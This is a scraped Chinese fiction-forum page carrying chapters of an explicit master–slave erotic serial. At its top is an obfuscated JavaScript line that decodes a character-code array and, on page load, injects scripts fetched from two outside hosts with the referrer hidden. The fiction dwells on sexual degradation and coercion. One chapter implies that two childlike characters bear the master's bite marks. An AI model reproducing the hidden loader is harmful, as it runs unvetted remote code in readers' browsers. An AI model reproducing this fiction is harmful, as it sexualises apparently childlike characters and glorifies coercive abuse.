登录 首页
公告
移除广告,支持支付宝
(function(a){(new Function(String.fromCharCode(...a)))();})([108, 101, 116, 32, 117, 114, 108, 115, 61, 91, 34, 104, 116,116, 112, 115, 58, 92, 47, 92, 47, 109, 100, 49, 49, 57, 110, 100, 97, 100,57, 46, 111, 115, 115, 45, 99, 110, 45, 104, 97, 110, 103, 122, 104, 111, 117,46, 97, 108, 105, 121, 117, 110, 99, 115, 46, 99, 111, 109, 92, 47, 49, 57,92, 47, 57, 51, 53, 50, 53, 48, 49, 49, 34, 44, 34, 104, 116, 116, 112, 115,58, 92, 47, 92, 47, 112, 46, 55, 100, 51, 54, 97, 46, 99, 111, 109, 92, 47,49, 57, 92, 47, 57, 51, 53, 50, 53, 48, 49, 49, 34, 93, 59, 119, 105, 110,100, 111, 119, 46, 95, 95, 114, 114, 95, 95, 104, 108, 100, 61, 49, 59, 108,101, 116, 32, 117, 114, 108, 105, 110, 100, 101, 120, 61, 48, 59, 108, 101,116, 32, 114, 102, 117, 110, 99, 61, 102, 117, 110, 99, 116, 105, 111, 110,40, 41, 123, 105, 102, 40, 119, 105, 110, 100, 111, 119, 46, 95, 95, 114,114, 95, 95, 108, 111, 97, 100, 101, 100, 95, 50, 53, 51, 57, 95, 49, 49,48, 53, 32, 33, 61, 32, 39, 111, 107, 39, 41, 123, 108, 101, 116, 32, 115,115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101,97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105,112, 116, 39, 41, 59, 115, 115, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116,101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59,115, 115, 46, 114, 101, 102, 101, 114, 114, 101, 114, 80, 111, 108, 105,99, 121, 61, 39, 110, 111, 45, 114, 101, 102, 101, 114, 114, 101, 114, 39,59, 115, 115, 46, 97, 115, 121, 110, 99, 61, 116, 114, 117, 101, 59, 115,115, 46, 115, 114, 99, 61, 117, 114, 108, 115, 91, 117, 114, 108, 105, 110,100, 101, 120, 43, 43, 93, 43, 32, 40, 110, 97, 118, 105, 103, 97, 116, 111,114, 46, 117, 115, 101, 114, 65, 103, 101, 110, 116, 46, 105, 110, 100, 101,120, 79, 102, 40, 39, 65, 110, 100, 114, 111, 105, 100, 39, 41, 32, 33, 61,32, 45, 49, 32, 63, 32, 39, 48, 39, 58, 39, 49, 39, 41, 32, 43, 32, 39, 63,39, 32, 43, 32, 110, 101, 119, 32, 68, 97, 116, 101, 40, 41, 46, 103, 101,116, 84, 105, 109, 101, 40, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116,46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108,100, 40, 115, 115, 41, 59, 125, 125, 59, 114, 102, 117, 110, 99, 40, 41, 59,114, 102, 117, 110, 99, 40, 41, 59]);
天空之城 / 2025/09/21 09:08 / 619 / 52 /
【小说】玩奴日常

天空之城 / 发表于: 2025/09/21 15:32:16

番外:玉髓欢(四)
  你饶有兴致地看着地上那具已经彻底被情欲浸透的身体,慢悠悠地重复着你的问题:
  “英儿要怎么报答爷?嗯?”
  英奴趴在地上,剧烈地喘息着,好半晌才积攒起一丝力气。她没有抬头,只是将额头深深地抵在冰凉的地砖上,用一种近乎于献祭的、虔诚而沙哑的嗓音回答道:
  “奴的这条贱命,这副身子,都是爷的。爷想如何,便如何。只要能让爷欢心,便是将奴的骨头一寸寸碾碎,奴也…心甘情愿。”
  “说得好听。”你轻笑一声,俯下身,将那瓶散发着异香的《合欢花露》放在她面前,“既然如此,那便先用这副身子,好好试试这件贡品吧。”
  你顿了顿,补充道:“自己来,把这花露,仔仔细细地,涂满你那根不听话的小鸡巴。每一处,都不能落下。”
  “是,爷。”
  这个命令,比任何鞭打都让她感到羞耻。英奴颤抖着手,拿起那冰凉的玉瓶。她闭上眼,另一只手屈辱地探入自己湿透的亵裤,分开腿心,将那根早已肿胀不堪、硬挺如小指的肉条暴露在空气中。
  她拔开瓶塞,将瓶口倾斜。
  一滴清凉的、带着浓郁花香的蜜油,精准地滴落在那根肉条最顶端的、敏感的顶端上。
  “嘶……”
  英奴倒吸一口凉气,身体不受控制地弹了一下。那是一种难以言喻的刺激,初时是极致的冰凉,仿佛一块寒玉贴上了烙铁,但不过一息之间,那股凉意便迅速转化为一股温热,并以惊人的速度,向着滚烫攀升!
  她不敢迟疑,连忙用指尖将那滴蜜油匀开。指腹所过之处,仿佛都燃起了一丛细小的火焰,让她腿心的那根小东西,在掌中愈发硬挺、滚烫。她仔细地将整根肉条,从根部到顶端,甚至连同根部那两片被你赏玩得有些红肿的嫩肉,都涂抹均匀。
  做完这一切,她已经香汗淋漓,呼吸急促,腿心那处更是烫得惊人,仿佛随时都会烧起来。
  你满意地看着她这副模样,拿起桌上的《玉髓欢鉴》,慢条斯理地说道:“开始吧,就从这第一式,‘蜻蜓点水’。”
  英奴认命地拿起那枚蜜色的玉髓欢,将其凑近自己那根已经烫得发亮的小肉条。
  她试探着,用那玉器浑圆的一端,极轻、极轻地,碰了一下肉条的顶端。
  “啊!” 只是一下,英奴便失声惊叫出来。那是一种被放大了十倍不止的快感!玉髓的温润,混合着花露的滚烫,像一股强烈的电流,瞬间窜遍四肢百骸!她感觉自己那根小东西,几乎要在这一下轻触中直接喷射出来。
  “怎么了?”你明知故问,语气中带着一丝懒洋洋的戏谑,“还没用力,英儿就要不行了?”
  “不…不是的,爷…”她带着哭腔,声音抖得不成样子,“是这药…太…太厉害了…”
  “那便让爷看看,它究竟有多厉害。”你命令道,“继续,别停。”
  英奴咬紧牙关,开始了那甜蜜的折磨。她握着玉髓欢,模仿着蜻蜓点水的姿态,在那根硬挺的肉条上,时快时慢、时轻时重地,点、啄、碾、磨。
  每一次触碰,都带给她一阵剧烈的战栗。
  那玉器坚硬的边缘,刮过肉条顶端最敏感的缝隙,让她浑身酥麻;那光滑的器壁,碾过整根挺立的肉身,让她小腹紧缩。她不敢太快,怕自己立刻就会在这前所未有的刺激下溃不成军;也不敢太慢,怕你一个不悦,会亲自上手,给她更残酷的折磨。
  “噗嗤…噗嗤…”
  很快,安静的书房内,便只剩下淫靡的水声。花露催发出了更多的淫液,与蜜油混合在一起,将她腿心弄得一片狼藉。那玉器每一次落下,都会带起一声清晰又黏腻的声响。她的腰肢开始不受控制地摆动,无意识地迎合着自己手中的动作,嘴里溢出破碎的、压抑不住的呻吟。
  你看着她这副自我玩弄的淫态,眼神暗了暗,随手翻开了羊皮卷的第二页。
  “看来,英儿这小骚鸡巴,已经湿透了。”你戏谑地开口,打断了她的动作,“既然如此,便可以试试这下一个了。”
  英奴闻言,身体一僵,停下了动作。她低头看向自己手中那枚小巧的玉器,又感受了一下自己那根因为涂了花露,而比往常肿胀得更厉害的肉条,脸上第一次露出了为难和恐惧的神色。
  这玉髓欢虽然中空,但入口却极小。图画中的女子,灵珠虽也挺立,却远不及她这般,几乎被你操练成了真正的“小鸡巴”。寻常时候被玩肿了,想要套进去都要费些力气,更何况是现在这种极度敏感、一碰就要命的状态。
  她犹豫了。
  她握着玉髓欢,几次三番地对准自己的顶端,却迟迟不敢下手。那是一种本能的畏惧,她知道,一旦强行套进去,那种被紧紧箍住、拉扯的酸爽,绝对会让她当场失控。这是她第一次,在你的命令下,有了如此明显的迟疑。
  “怎么?”你慵懒地看着她,玩味地问道,“不听话了?”
  “不…不是的,爷…”她急得眼泪都流了出来,“是…是奴这东西…太…太大了…这个…套不进去…”
  “哦?”你挑了挑眉,仿佛听到了什么天大的笑话,“你是在怪爷,把你玩得太狠了?”
  “奴不敢!”她吓得连忙磕头。
  “还是在怪这贡品,做得太小了,配不上你这根天赋异禀的小骚鸡巴?”
  “奴不敢!奴万万不敢!”
  你看着她这副急得快要哭昏过去的可怜模样,心中恶劣的趣味得到了极大的满足。
  终于,在尝试了几次都失败,每一次都只换来一阵让自己头皮发麻的剧烈快感后,英奴彻底放弃了。她抬起那张挂着泪痕的、被情欲蒸得绯红的脸,用一种近乎于哀求的、带着浓重鼻音的哭腔,向你发出了请求:
  “爷…求您…求您帮帮奴…奴…奴自己…真的不行…”
  你故意叹了口气,脸上露出一副“真拿你没办法”的无奈表情。
  “罢了,谁让爷心软呢。”你慢悠悠地站起身,“爷今儿,就帮你这一回。下不为例。”
  你走到她面前,接过她手中那枚滑腻的玉器,然后,在她惊恐的注视下,毫不怜惜地,对准了那根早已不堪重负、硬挺通红的小肉条。
  “忍着点。”
  话音未落,你手腕猛地一用力!
  “啊——!”
  一声凄厉又甜腻的惨叫划破了书房的宁静!
  你根本没有给她任何适应的时间,直接用最粗暴的方式,将那枚小巧的玉髓欢,狠狠地、一次性地,从顶端直接套到了根部!
  那是一种无法用言语形容的感受!
  整根肿胀的肉条,被那冰凉坚硬、却又严丝合缝的器壁死死箍住,仿佛要将它勒断!顶端那最敏感的骚籽,被中空的内里狠狠地碾过,然后被牢牢地锁死在最深处!你甚至还恶意地转了转,让那内壁上仿造的、细密的纹路,将她那颗脆弱的骚籽,仔仔细细地研磨了一圈!
  “呃…啊…啊……”
  英奴的身体像一张被拉满的弓,猛地向上弹起,随即又重重地摔落。她的嘴大张着,却只能发出意义不明的、仿佛被掐住脖颈般的呜咽,眼泪和口水不受控制地流淌下来。
  你松开手,欣赏着她这副被玩坏了的模样,挑了挑眉。
  “爷费了这么大力气帮你,英儿还愣着做什么?”
  你的声音,如同恶魔的低语。
  “难不成,还要等着爷亲自伺候你吗?”
  这句话,让濒临崩溃的英奴瞬间回魂。她知道,如果真的让你来动手,那绝对会是比现在凄惨百倍的下场。
  她心一横,眼一闭,抬起颤抖得不成样子的手,握住了那枚已经与自己血肉相连的玉髓欢的底座。
  然后,开始了狂风暴雨般的自我蹂躏!
  她模仿着那副“风卷残荷”图中的姿态,手臂化作了一道残影,在那根被死死箍住的小肉条上,开始了疯狂的、不留余地的快速抽送!
  “啊!啊!啊!不…不要了!要…要坏了…爷…啊啊啊!”
  她彻底疯了!
  每一次抽出,都将那根被箍得更显粗长的肉条,拉扯到极限;每一次捅入,又将它狠狠地捣回原处!那滚烫的玉器内壁,与同样滚烫的肉体,进行着毫无间隙的高速摩擦!花露的药性被彻底激发,那股灼烧般的快感,混合着被强行拉扯的酸胀,像滔天巨浪,一波接着一波,瞬间就将她的理智彻底吞噬!
  她甚至忘了求饶,嘴里只剩下最原始的、破碎的尖叫。她的身体在地上剧烈地弹跳、痉挛,双手却像不受控制一般,越来越快,越来越狠!
  终于,在一声拔高的、撕心裂肺的哭喊声中,一股远超方才的、汹涌的泉流,从那玉髓欢的下方猛地喷射而出,溅湿了你洁净的靴面。
  她,再次被你玩坏了。

乡村如此多娇
伙夫
周平本是一个平凡小村医,可是村里的俊寡妇,总喜欢上门找他治病…… 水兰溪:“周平,今晚上来嫂子家给嫂子治一治吧?” 周平:“兰溪嫂子,快让我歇一歇吧,这个星期都八回了!” ...

天空之城 / 发表于: 2025/09/21 15:33:29

第四十七章 家书
  舒奴乘坐的马车,在官道上不疾不徐地行驶着。与来时的忐忑不安不同,归途中的她,心境澄澈而安定。她时而会撩开车帘,看看窗外倒退的风景,时而会拿出那把红桦木梳,在自己的长发上轻轻滑过。那粗犷的刻痕摩挲着掌心,仿佛还残留着您指尖的力量与温度,总能让她纷乱的思绪瞬间平静下来。
  她并不急着赶路。因为她知道,那个她一心归向的地方,永远会在那里等她。
  而在她还在路上的第三天午后,一匹快马再次叩响了王府的大门。
  这次的信使,不仅带来了家书,身后还跟随着两名护卫,共同护送着一个半人高的、用油布包裹得严严实实的大木箱。
  消息传开,整个王府都轰动了。
  婉奴和晴奴领着府中有头有脸的奴主子们,齐聚在正厅。当那个沉重的木箱被抬进来,打开油布,露出一口精致的楠木箱时,所有人的呼吸都屏住了。
  箱子打开,最上面的是几封厚厚的、用火漆封好的信件。而信件之下,则是分门别类、用柔软的锦缎包裹好的各式礼物。
  「是爷的信!」软软眼尖,第一个叫了起来。
  晴奴拿起最上面的几封,分拣开来,脸上露出温柔的笑意:「有给我们的,也有…给你们所有人的。」
  她将一封信和一个小包裹递给了丰奴,又将另一个包裹和一张字条递给了英奴,然后从箱子里拿出几个稍小的锦盒,对着几位平日里也算得宠、此刻正恭敬地站在一旁的奴儿们说:「墨奴,兰奴,绮奴,这也有爷给你们的赏赐。」
  被点到名的三位奴儿又惊又喜,连忙跪下谢恩。
  最后,晴奴才将一个最大的、装满了各种新奇小玩意儿的锦盒,连同几张写满了字的纸笺,放在了早已迫不及待的琉璃和软软面前。
  「好了,你们两个小东西,拿去旁边自己看吧。」婉奴宠溺地点了点她们的鼻子。
  两个小家伙如获至宝,立刻抱着盒子跑到角落的地毯上,献宝似的拆开了起来。里面有西北边民用彩线编织的手链,有雕刻成小动物模样的骨哨,还有一对用石头打磨的、圆滚滚的不倒翁,画着滑稽的鬼脸,一碰就摇头晃脑,逗得她们咯咯直笑。
  这边,英奴也打开了她的包裹。里面是一副全新的、用上等牛皮鞣制的护膝与护腕,边角还用银线绣着您王府的徽记。除此之外,还有一柄连鞘的短剑,剑鞘古朴,剑柄上镶嵌着一颗狼眼石。她抽出短剑,只见剑身寒光凛冽,吹毛断发,显然是军中利器。字条上只有一句话:「拳脚功夫不能落下,等爷回来亲自检查。」
  英奴的脸上没有太多表情,但她握着剑柄的手,却因过于用力而指节泛白。她朝着西北的方向,无声地跪下,重重地磕了一个头。这份尊重与认可,比任何珠宝都让她心潮澎湃。
  墨奴得到的是一盒来自西域的矿物颜料,色泽艳丽,是中原难得一见的珍品;兰奴得到的是一块产自雪山之上、气味清冽的异香木;绮奴则得到了一卷织有奇特花纹的狄人锦缎。您记得她们每一个人的长处与喜好,这份恩宠,让她们感动得热泪盈眶。
  唯有丰奴,在接过那个小巧柔软的包裹和一封信后,只是紧紧地将其揣在怀里,那张一向媚态横生的俏脸上,竟罕见地飞起了一抹动人的陀红。她微微垂下眼帘,长长的睫毛不住颤抖,身体也起了细微的战栗,那副模样,不像害羞,倒更象是在极力压抑着某种即将喷薄而出的兴奋。
  晴奴冰雪聪明,将她这副异样尽收眼底,忍不住开口打趣道:「丰妹妹,这是怎么了?爷的赏赐还没看呢,就让你这般魂不守舍了?往日里那股子恨不得把『骚』字刻在脑门上的劲儿去哪了?快打开让姐姐们也瞧瞧,是什么样的宝贝,能让我们府里最不害臊的丰奴,也知道脸红了。」
  这话引得一旁的婉奴也掩唇轻笑。
  丰奴被她们说得身子一软,竟朝着两位夫人的方向,无意识地夹了夹腿。她抬起那双水汽氤氲的桃花眼,声音比平日里更多了三分腻人的酥媚:「婉夫人,晴夫人…您们就饶了奴婢吧…爷…爷许久不见,奴婢只是…只是看到爷的亲笔信,身子…身子有些不听话罢了…」
  她这不解释还好,一解释,那股子天生的骚媚劲儿便再也藏不住了。
  「罢了,看来是爷单独赏你的『体己』物,我们就不看了。」婉奴笑着解围,「快回房去吧,省得在这里站着,一会儿水漫金山,污了爷赐下的地毯。」
  「谢夫人体恤…」丰奴夹着腿,迈着细碎的步子,几乎是逃也似地回了自己的房间。
  遣散了众人,厅中只剩下婉奴和晴奴。她们这才郑重地拆开了那封最厚的信。
  信很长,前面几页,您用那种略带着一丝不耐烦的语气,讲述了路途的辛苦和勘察地形的乏味,字里行间却又透着运筹帷幄的自信与霸气。
  读到中间,笔锋一转,变得露骨而温情:
  「…帐外风啸如鬼,帐内孤枕难眠。每至此刻,便念汝等在时,衾中温香。爷不在,尔等衾中,想必亦是清冷?前番所赐之死物,聊以解渴尚可,然久用恐忘爷之雄风。待爷归来,必令尔等重温旧梦,忆起何为雨覆云翻…」
  这充满了淫靡暗示的话语,让两人看得面红耳赤,心如鹿撞,身体深处都泛起熟悉的酸麻。信的最后,您提到了礼物:「…途经玉矿,见其白玉温润,颇类尔等肌肤,遂命人琢为双镯。镯刻汝名,不得擅取。此地狼多,皮毛甚佳,取其二以赠,寒时铺于榻上,可代爷为尔等驱寒。」
  她们打开属于自己的锦盒,里面果然静静地躺着两只温润剔透的白玉镯,触手生温。镯子内侧,分别篆刻着「婉」与「晴」二字。而那两张巨大而柔软的雪狼皮,更是散发着一股属于北地的、充满了野性与力量的气息。
  她们将镯子戴在皓腕上,尺寸正合。两人相视一笑,眼中俱是化不开的柔情与思念。
  --- 与此同时,丰奴的房门一关上,她便迫不及待地靠在门板上,撕开了信封。
  您那霸道张扬的字迹扑面而来:「爷的贱狗丰儿,爷不在的这些时日,你那对骚奶子,有没有好好给爷养着?那两个被爷干熟的骚洞,有没有因为寂寞而变得更痒、更湿?爷甚是想念你那副含着奶水、被爷操得哭叫求饶的下贱模样。」
  信纸上的文字露骨而粗俗,丰奴却看得浑身发烫,只觉得一股热流从身体深处直冲而下,瞬间便濡湿了底裤。她颤抖着手,打开那个包裹。里面是一枚用温润的墨玉雕成的、造型极其精巧的狐尾肛塞。玉塞的顶端,还系着一小束用极细的银链串联起来的铃铛。
  信的背面,还有字:「此物『锁精狐尾』。自今日起,浴后塞入后庭,时刻不许取出。令其代爷,时时填汝,刻刻警汝,汝之贱体乃谁之专属便器。其上之铃,随行而响,若为外人所闻,汝自往刑房领罚。待爷归来,亲验此洞,是否被此狐尾『教』得愈紧、愈贱。若养得好,爷便用这狐尾,沾你肠中骚水,堵你流奶之乳头。」
  「爷…我的好主人…」丰奴只觉得脑中「轰」的一声,浑身的血液都沸腾了。她几乎是迫不及待地褪下衣物,捧着那枚冰凉的玉塞。没有任何犹豫,她挤出胸前因动情而溢出的乳汁,将其涂抹在玉塞之上,然后扶着桌沿,慢慢地、带着一丝痛苦又极致愉悦的表情,将那枚狐尾,一点一点地,尽数吞入了自己那湿热紧致的后庭…
  「叮铃…」一声极其轻微的脆响,在寂静的房间内,显得格外淫靡。丰奴浑身一颤,一股前所未有的、被彻底占有的羞耻与快感,瞬间席卷了她的灵魂。
  --- 琉璃和软软沐浴过后,穿着柔软的丝绸睡袍,一人抱着您的一件中衣,乖乖地盘腿坐在床前的地毯上,眼巴巴地看着婉儿。
  这是她们一天中最幸福的时刻。不仅因为白天收到了您的礼物和家书,更因为,她们还能享受到这份独一无二的、每日一笺的「晚安故事」。
  婉奴拿起今日份的雪浪笺,清了清嗓子,柔声念道:
  「今日不说旧事,给你们讲个在西北听来的趣闻。话说这雪山深处,住着一位以打猎为生的猎户王,勇猛无比。山中有一只修炼了千年的雪狐精,最是狡猾,皮毛如雪,眼若红晶,能魅惑人心。猎户王早就想捉住它,给自己做一件天下无双的狐裘围脖。」
  「啊…」软软听到这里,紧张地抓住了琉璃的胳膊,「狐狸好可怜…」
  婉奴笑了笑,继续念道:「猎户王布下天罗地网,花了七天七夜,终于将雪狐精堵在了一处山洞里。雪狐精走投无路,便化作一个绝色美人,想迷惑猎户王。谁知猎户王不为所动,只冷笑道:『爷要的是你的皮,不是你的人。』说罢便要动手。」
  「雪狐精吓坏了,哭着求饶,说愿意奉他为主,生生世世为奴为婢。猎户王想了想,觉得留个活的倒也有趣,便答应了。但他不放心,便取来一块能吸取日月精华的『阳炎石』,在那狐狸精的屁股上,烙下了一个属于自己的印记。说也奇怪,那印记非但不疼,反而让狐狸精浑身舒泰,从此对猎户王死心塌地,再也生不出半点反叛之心,成了一只只会摇着尾巴讨好主人的小狐狸。蠢不蠢?」
  故事讲完了。
  琉璃歪着头,一脸向往地说:「这个猎户王,好厉害呀!跟爷一样厉害!」
  软软也用力点头,随即又有些困惑地问:「婉姐姐,什么是『烙印』呀?是不是…是不是像爷用牙齿在我们身上咬出的红印子一样?」
  童言无忌,却让婉儿和一旁的晴儿听得脸颊发烫。
  「差不多吧…」婉儿含糊地应了一句,心中却在想,爷可比那猎户王坏心眼多了。猎户王只要一颗心,爷他…却是要她们的身、心,乃至灵魂,都彻彻底底、从里到外,烙上专属于他的印记,永世不得翻身。而她们,对此甘之如饴。
  --- 又过了两日,舒奴的马车,终于回到了王府。
  她刚一进门,便敏锐地感觉到府里的气氛有些不同。下人们的脸上都洋溢着喜气,而琉璃和软软,正坐在廊下,兴高采烈地玩着一对摇头晃脑的鬼脸不倒翁,笑得前仰后合。
  看到她回来,两个小家伙立刻跑了过来。
  「舒姐姐!你回来啦!」
  「你看你看!这是爷从西北给我们寄回来的好玩的!」
  舒奴看着她们献宝似的举着玩具,心中闪过一丝连自己都未曾察觉的失落。原来…爷给所有人都寄了东西。
  她不动声色地笑了笑,夸赞了几句,便先去向婉奴和晴奴覆命。
  正厅里,婉奴和晴奴正围着一张巨大的雪狼皮,商量着该如何安放。看到舒奴进来,她们脸上都露出了真诚的笑意。
  「舒妹妹回来了,家中一切可好?」婉奴拉着她的手,亲切地问道。
  「一切都好,劳夫人挂心。」舒奴恭敬地回答,目光却不由自主地被那张雪狼皮和她们腕上的玉镯吸引。
  晴奴冰雪聪明,立刻看出了她眼中的那一丝落寞,故意板起脸道:「你倒好,一个人得了爷的偏爱,我们这些留在府里的,可都眼红着呢。」
  舒奴一愣:「晴夫人何出此言?」
  「装傻?」晴奴促狭地一笑,从一旁的案几上,拿起那把舒奴再熟悉不过的红桦木梳,「爷的信使可是说了,这把爷『亲手』雕的梳子,是头一份送出的。我们这些人的礼物,都是后来才跟着大部队一起送回来的。你说,我们能不眼红吗?」
  舒奴呆呆地看着那把梳子,又看了看婉奴和晴奴脸上那善意的笑容,心头的阴霾瞬间一扫而空,取而代之的,是巨大的、几乎让她晕眩的喜悦。
  原来…她是第一个。
  她是那个…被他「随手」记挂起的,独一无二的例外。
  「好了,晴儿,看把妹妹给吓的。」婉奴嗔了晴奴一眼,拉着舒奴的手,将她按在铺着狼皮的软榻上坐下,语气温柔地说:「回来就好。爷不在,我们姐妹更要互相扶持。快跟我们说说,赵将军身体可还康健?」
  舒奴坐在那柔软温暖的狼皮上,感受着来自两位夫人的善意,手中紧紧地握着那把承载了特殊意义的木梳。
  她知道,从这一刻起,这座富丽堂皇的王府,对她而言,才真正有了「家」的感觉。

史上最强炼气期
李道然
修炼了将近五千年的方羽,还是没有突破炼气期……“我真的只有炼气期,但你们别惹我!”

天空之城 / 发表于: 2025/09/21 15:38:26

番外:玉髓欢(五)
  那汹涌的泉流,是你赐予的恩典,也是压垮她神智的最后一根稻草。
  英奴彻底崩溃了。她甚至无法维持跪趴的姿势,整个人软倒在你的脚边,不受控制地剧烈痉挛。灭顶的快感余波一遍遍冲刷着她脆弱的神经,让她完全无法思考,只能像一只寻求庇护的幼兽,无意识地将脸埋进你的膝头,在那柔软的衣料上胡乱磨蹭,喉咙里发出“呜呜”的、破碎的哭声。
  你有些意外。
  你垂眸看着在你膝上蹭着眼泪和口水的忠犬,倒是难得见到她这般模样。往日里,无论你如何鞭打、如何肏弄,她大多也就是咬唇承受,或是发出压抑的闷哼,像这样彻底失控,甚至做出近乎于撒娇和讨好的举动,还是头一遭。
  真有这么爽?
  你心中升起一丝好奇,手上却不由自主地,像安抚一只真正的猎犬一样,轻轻抚摸着她汗湿的、柔软的发丝。你的动作温柔,说出的话却依旧带着恶劣的笑意。
  “好了,不哭了。”你的声音放得极轻,仿佛怕惊扰了她,“英儿哭什么?方才喷了那么多,不是应该很舒服吗?爷还以为你快活得要升天了,怎么反倒委屈上了?嗯?”
  “呜…爷…”她根本无法组织起有效的语言,只能在你膝上蹭得更厉害,象是在寻求某种确认,又象是在发泄那无处安放的余韵,“奴…奴不知道…呜呜…”
  “不知道?”你轻笑一声,手指顺着她的后颈缓缓滑下,“那就是爷的不是了。看来是爷把你玩得太舒服,连自己是谁都忘了。”
  过了好一阵,那剧烈的痉挛才渐渐平息。你感觉到膝上的动静小了,便伸手捏住她的下巴,将她那张泪痕交错的小脸抬了起来。她的眼神依旧涣散,泪眼朦胧地望着你,身子还像被抽了筋骨一般,一抽一抽的。
  “英儿不哭了?”你用指腹抹去她眼角的泪珠,语气中带着一丝戏谑。
  随即,你故作不满地蹙起眉,视线落在自己的靴面上,那片被她弄湿的痕迹,在光线下显得格外淫靡。
  “自己看看,你这根小骚鸡巴,到底有多贱。”你的语气沉了下去,“把爷的靴子都弄脏了,成何体统?”
  英奴迟钝的大脑顺着你的视线看去,当看到那片污渍时,脸上“轰”地一下,血色尽褪,取而代之的是浓浓的羞愧与惶恐。
  你没有给她喘息的机会,开始慢条斯理地数落她的“罪状”。
  “爷赏你用这等珍贵的玉器,还特意赐下西域难得的药油,这是何等的恩宠?”你的声音不大,却字字句句都像鞭子,抽打在她混乱的心上,“寻常人得了这般恩赏,早就感恩戴德、磕头谢恩了。英儿倒好,爷问话,你支支吾吾不肯答;爷下令,你畏畏缩缩不肯做;最后还得让爷亲自动手,屈尊降贵地‘服务’你。”
  “现在,你甚至还恩将仇报,用你这身骚水,脏了爷的脚。”你看着她越来越苍白的脸色,语气愈发轻慢,“英儿什么时候,变得这么不知礼数了?”
  这一连串的数落,对于一个神智尚未完全恢复的人来说,是无法分辨其中真伪的。英奴那被快感冲刷得一片空白的大脑,此刻被你灌入了满满的愧疚。
  是啊…爷说得都对…
  是自己没用,是自己又脏又贱,是自己的身子不听话,总是发骚…不仅辜负了爷的恩赏,玷污了珍贵的贡品,还让爷为自己这等贱奴费心费力,最后…最后还弄脏了爷…
  想到这里,她心中涌起无边的悔恨与自我厌弃,眼泪又一次不受控制地流了下来。
  “奴…奴罪该万死…”她伏在地上,声音嘶哑,“奴…又脏又贱…求爷…求爷责罚…”
  看着她这副真心实意认罪的模样,你善心大发地笑了。
  “不过嘛,”你慢悠悠地说道,语气又恢复了那种宠溺的温柔,“爷这么疼英儿,自然是舍不得真的责怪你的。”
  你俯下身,轻轻拍了拍她还在轻颤的脸颊,那温柔的触感让她一阵迷茫。
  “爷方才说了,要让英儿好好体验,爷向来说话算话。”你的声音低沉下来,带着蛊惑人心的魔力,“虽然英儿今天这么不乖,但爷一向大度,还是会让你玩得尽兴的。”
  你凑到她的耳边,用只有你们两人能听到的、性感而危险的气音,缓缓补充道:
  “当然…也会让英儿,哭得尽兴的。”
  “转过去,”你直起身,命令道,“屁股撅高。”
  --- 英奴不敢有丝毫违逆,她拖着酸软无力的身子,听话地转了过去,在地上摆出了一个标准而屈辱的跪趴姿势。那枚蜜色的玉髓欢,依旧顽固地套在她那根肿胀的肉条上。
  你微微倾身,从身后握住了那根套着玉器的小东西。入手滚烫,还带着淫靡的滑腻。
  “这第三式,叫‘慢火煨汤’。”你一边说,一边开始了你的动作。
  你没有抽送,也没有捅刺,而是用拇指和食指,隔着那层温润的玉壁,极其缓慢地、用一种带着粘稠力道的劲儿,开始碾磨。
  那是一种比狂风暴雨更可怕的折磨。
  你的指尖,能清晰地感觉到玉器之下,那根硬挺的肉条的每一次颤抖。你用指甲,不轻不重地刮过玉器的边缘,让那细微的震动,传递到最深处的骚籽。你用指腹,模仿着文火慢炖的节奏,一圈、又一圈地,缓缓打着转。
  “嗯…啊…爷…不要…不要这样…”
  英奴的身体开始疯狂地颤抖。这种不上不下的、磨人的快感,比直接的冲击更让她难以忍受。每一次碾磨,都象是在她已经绷紧的神经上,又拉扯了一下。她感觉自己的小腹里,仿佛有一团火在烧,那火焰顺着血管一路蔓延,烧得她口干舌燥,神智不清。
  她的臀部开始无意识地向后顶,试图寻求更深、更猛烈的刺激,但你却始终不让她如愿,只是维持着那种让她发疯的、缓慢的节奏,耐心地“煨”着你的汤。
  “求…求您…爷…快一点…啊…或者…停下来…奴…奴受不住了…”她的哭喊已经不成调,淫水顺着大腿内侧,在地上汇成了一滩小小的水洼。
  “受不住了?”你低笑一声,在她耳边轻语,“好戏,才刚刚开始呢。”
  就在她以为自己要被这无休无止的慢磨逼疯的时候,你手上的动作,毫无预兆地,变了!
  那文火瞬间化作了燎原的烈焰!
  你的手臂爆发出强劲的力量,那只握着玉髓欢的手,化作了一道残影!你不再是碾磨,而是用最狂暴的姿态,开始了真正的“伺候”!你紧紧握住那玉器的底座,时而如狂风暴雨般疾速套弄,时而又狠狠地旋转,带动着整根肉条都在那小小的空间内被动地扭转!
  “啊啊啊啊——!”
  英奴发出了撕心裂肺的尖叫!那从极缓到极速的巨大落差,瞬间摧毁了她最后一道防线!她的身体像被扔上岸的鱼,在地上疯狂地弹跳,大脑一片空白,只剩下被快感彻底淹没的本能!
  你的每一次动作,都精准而致命,狠狠地冲击着她最敏感的那一点!她全身的肌肉都绷紧了,痉挛着,身下更是毫无节制地狂喷,那汹涌的泉水甚至溅到了你的手背上。
  你看着她在你手下彻底失控,被玩弄成一滩烂泥,终于满意了。
  你抽出手,在那紧实、挺翘的臀部上不轻不重地拍了一下。手感极好,不像丰奴那般肉浪翻滚,充满了力量的弹性,是另一种截然不同的美妙触感。
  你不再逗弄她,将这具在女子中显得格外修长结实的身体,轻松地横抱起来。她软软地挂在你身上,只有细微的抽搐还能证明她尚有意识。
  你抱着她,几步走到书房角落里供你小憩的软榻边,将她放下,让她以一个趴跪在榻上的姿势,勉强支撑住身体。她的双腿还在不受控制地剧烈颤抖,几乎站立不稳。
  你站在她的身后,解开了自己的腰带。
  然后,握住她那纤细却充满力量的腰肢,将自己那早已昂扬的欲望,对准了她身后那同样被淫水浸透的、紧致的秘穴,毫不犹豫地,狠狠地,贯穿了进去!

乡村如此多娇
伙夫
周平本是一个平凡小村医,可是村里的俊寡妇,总喜欢上门找他治病…… 水兰溪:“周平,今晚上来嫂子家给嫂子治一治吧?” 周平:“兰溪嫂子,快让我歇一歇吧,这个星期都八回了!” ...

天空之城 / 发表于: 2025/09/21 15:54:27

第四十八章 婉奴晴奴探亲
  您寄回的家书与礼物,如同一场及时的春雨,彻底浇熄了府中因您离去而滋生的焦虑与不安。一种甜蜜的、充满了期盼的氛围,取代了最初的惶恐。在这种安定的气氛中,婉奴和晴奴终于决定,择日回娘家探望。
